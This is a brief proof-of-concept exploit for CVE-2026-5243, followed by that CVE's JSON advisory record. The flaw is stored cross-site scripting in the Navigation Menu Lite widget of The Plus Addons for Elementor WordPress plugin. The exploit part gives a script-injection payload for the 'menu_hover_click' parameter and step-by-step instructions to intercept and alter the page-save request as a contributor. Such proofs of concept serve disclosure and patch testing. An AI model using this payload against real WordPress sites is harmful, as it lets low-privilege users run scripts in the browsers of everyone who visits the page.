CVE-2026-5243

// PoC for CVE-2026-5243 // Payload to be injected into the 'menu_hover_click' parameter var payload = '"><script>alert("CVE-2026-5243_POC")</script>'; /* Usage: 1. Log in as a Contributor or higher. 2. Edit a page using Elementor. 3. Add the 'Navigation Menu Lite' widget. 4. Intercept the request when updating the page. 5. Locate 'menu_hover_click' in the POST data and replace it with the payload. 6. Forward the request to save the page. 7. Visit the page to observe the XSS execution. */

{"cve": {"id": "CVE-2026-5243", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:23.947", "lastModified": "2026-05-14T14:28:41.283", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce plugin for WordPress is vulnerable to stored cross-site scripting via the `menu_hover_click` parameter of the Navigation Menu Lite widget in all versions up to, and including, 6.4.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?old_path=/the-plus-addons-for-elementor-page-builder/tags/6.4.11/modules/widgets/tp_navigation_menu_lite.php&new_path=/the-plus-addons-for-elementor-page-builder/tags/6.4.12/modules/widgets/tp_navigation_menu_lite.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/31e8c399-f8d3-461c-98fa-04f8cbb82d12?source=cve", "source": "[email protected]"}]}}